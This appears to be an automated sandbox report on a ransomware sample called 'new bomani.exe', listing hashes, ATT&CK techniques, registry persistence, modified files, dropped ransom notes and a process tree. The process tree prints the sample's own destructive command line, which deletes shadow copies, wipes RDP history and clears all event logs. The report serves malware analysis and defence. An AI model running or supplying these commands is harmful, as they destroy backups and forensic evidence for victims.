bbad11dfe76b92735648bce03bc5e163e235120d1114391be78665f8c2f14c94

General

Target

new bomani.exe
Size

78KB
MD5

1a75e7dd18a7186ca44fcf27eb94c4aa
SHA1

049917bb6e78a990f753119e36015c540d51d28f
SHA256

bbad11dfe76b92735648bce03bc5e163e235120d1114391be78665f8c2f14c94
SHA512

8fc7ec6637279dab404cba57c913bfa095de487b2217e7aab9d8653644649e5a2c50882f9ee825f4b0403b45257114d6e6e65e6f2f2e947aa7e00b762ebaa258

Score

9^/10

persistence ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

new bomani.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\LicChk = "C:\\Users\\Admin\\AppData\\Local\\new bomani.exe"	new bomani.exe

Drops desktop.ini file(s) 38 IoCs

Processes:

new bomani.exe

description	ioc	process
File opened for modification	C:\Users\Public\Desktop\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Pictures\Sample Pictures\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files\Microsoft Games\Mahjong\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files\Microsoft Games\SpiderSolitaire\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files (x86)\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Recorded TV\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Recorded TV\Sample Media\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\Stationery\Desktop.ini	new bomani.exe
File opened for modification	C:\Program Files\Microsoft Games\Chess\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files\Microsoft Games\Purble Place\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI	new bomani.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Music\Sample Music\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files\Microsoft Games\Hearts\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\Stationery\Desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Videos\Sample Videos\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files\Microsoft Games\FreeCell\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files\Microsoft Games\Solitaire\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Favorites\Links for United States\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	new bomani.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	new bomani.exe

Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

new bomani.exe

description ioc process

File opened (read-only) \??\A: new bomani.exe

description	ioc	process
File opened (read-only)	\??\A:	new bomani.exe

Drops file in Program Files directory 64 IoCs

Processes:

new bomani.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS.DEV_K_COL.HXK	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\AlertImage_ContactHighMask.bmp	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\AddToViewArrow.jpg	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\SIGNHM.POC	new bomani.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-filesystems.xml	new bomani.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\DEEPBLUE\Read Me!.hTa	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0384885.JPG	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02291U.BMP	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN086.XML	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD15056_.GIF	new bomani.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\es-ES\weather.html	new bomani.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	new bomani.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_ButtonGraphic.png	new bomani.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\es-ES\js\service.js	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\TN00687_.WMF	new bomani.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-shadow.png	new bomani.exe
File opened for modification	C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\J0115844.GIF	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MEDIA\CAMERA.WAV	new bomani.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\Read Me!.hTa	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\TimeCard.xltx	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\AlertImage_FileHighMask.bmp	new bomani.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-foreground.png	new bomani.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_ButtonGraphic.png	new bomani.exe
File opened for modification	C:\Program Files\Windows Media Player\en-US\wmpnetwk.exe.mui	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\CONVERT\1033\OLR.SAM	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Document Parts\1033\14\Built-In Building Blocks.dotx	new bomani.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\SONORA\PREVIEW.GIF	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0285698.WMF	new bomani.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\es-ES\cpu.html	new bomani.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\CST6CDT	new bomani.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-loaders_ja.jar	new bomani.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-core-kit.xml	new bomani.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\HST10	new bomani.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\js\common.js	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105410.WMF	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Formal.dotx	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CATALOG.XML	new bomani.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\Read Me!.hTa	new bomani.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME.txt	new bomani.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_de.properties	new bomani.exe
File opened for modification	C:\Program Files\Java\jre7\lib\images\cursors\invalid32x32.gif	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00224_.WMF	new bomani.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\it-IT\css\settings.css	new bomani.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\zipfs.jar	new bomani.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-heapdump.xml	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Maroon.css	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\ProjectTaskIconMask.bmp	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0157831.WMF	new bomani.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Maceio	new bomani.exe
File opened for modification	C:\Program Files\Microsoft Games\Purble Place\desktop.ini	new bomani.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\it-IT\css\flyout.css	new bomani.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\ECLIPSE\Read Me!.hTa	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0090149.WMF	new bomani.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.ds_1.4.200.v20131126-2331.jar	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Swirl\HEADER.GIF	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Slate\TAB_OFF.GIF	new bomani.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui	new bomani.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\btn_close_up.png	new bomani.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-plaf_ja.jar	new bomani.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\bg_Groove.gif	new bomani.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exe

pid process

756 vssadmin.exe
916 vssadmin.exe

pid	process
756	vssadmin.exe
916	vssadmin.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

vssvc.exenew bomani.exe

description	pid	process
Token: SeBackupPrivilege	412	vssvc.exe
Token: SeRestorePrivilege	412	vssvc.exe
Token: SeAuditPrivilege	412	vssvc.exe
Token: SeIncBasePriorityPrivilege	1616	new bomani.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

new bomani.execmd.execmd.exe

description	pid	process	target process
PID 1616 wrote to memory of 1092	1616	new bomani.exe	cmd.exe
PID 1616 wrote to memory of 1092	1616	new bomani.exe	cmd.exe
PID 1616 wrote to memory of 1092	1616	new bomani.exe	cmd.exe
PID 1616 wrote to memory of 1092	1616	new bomani.exe	cmd.exe
PID 1092 wrote to memory of 756	1092	cmd.exe	vssadmin.exe
PID 1092 wrote to memory of 756	1092	cmd.exe	vssadmin.exe
PID 1092 wrote to memory of 756	1092	cmd.exe	vssadmin.exe
PID 1616 wrote to memory of 2008	1616	new bomani.exe	cmd.exe
PID 1616 wrote to memory of 2008	1616	new bomani.exe	cmd.exe
PID 1616 wrote to memory of 2008	1616	new bomani.exe	cmd.exe
PID 1616 wrote to memory of 2008	1616	new bomani.exe	cmd.exe
PID 2008 wrote to memory of 916	2008	cmd.exe	vssadmin.exe
PID 2008 wrote to memory of 916	2008	cmd.exe	vssadmin.exe
PID 2008 wrote to memory of 916	2008	cmd.exe	vssadmin.exe
PID 1616 wrote to memory of 1744	1616	new bomani.exe	cmd.exe
PID 1616 wrote to memory of 1744	1616	new bomani.exe	cmd.exe
PID 1616 wrote to memory of 1744	1616	new bomani.exe	cmd.exe
PID 1616 wrote to memory of 1744	1616	new bomani.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\new bomani.exe
"C:\Users\Admin\AppData\Local\Temp\new bomani.exe"
1⤵
- Adds Run key to start application
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1616

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cd %userprofile%\documents\ attrib Default.rdp -s -h del Default.rdp for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
2⤵
- Suspicious use of WriteProcessMemory
PID:1092

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /All /Quiet
3⤵
- Interacts with shadow copies
PID:756

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cd %userprofile%\documents\ attrib Default.rdp -s -h del Default.rdp for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
2⤵
- Suspicious use of WriteProcessMemory
PID:2008

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /All /Quiet
3⤵
- Interacts with shadow copies
PID:916

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\new bomani.exe > nul
2⤵
PID:1744

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:412

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

File Deletion

2

T1107

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

2

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/756-56-0x0000000000000000-mapping.dmp

Download
memory/916-58-0x0000000000000000-mapping.dmp

Download
memory/1092-55-0x0000000000000000-mapping.dmp

Download
memory/1616-54-0x00000000755A1000-0x00000000755A3000-memory.dmp

Filesize
8KB

Download
memory/1744-59-0x0000000000000000-mapping.dmp

Download
memory/2008-57-0x0000000000000000-mapping.dmp

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads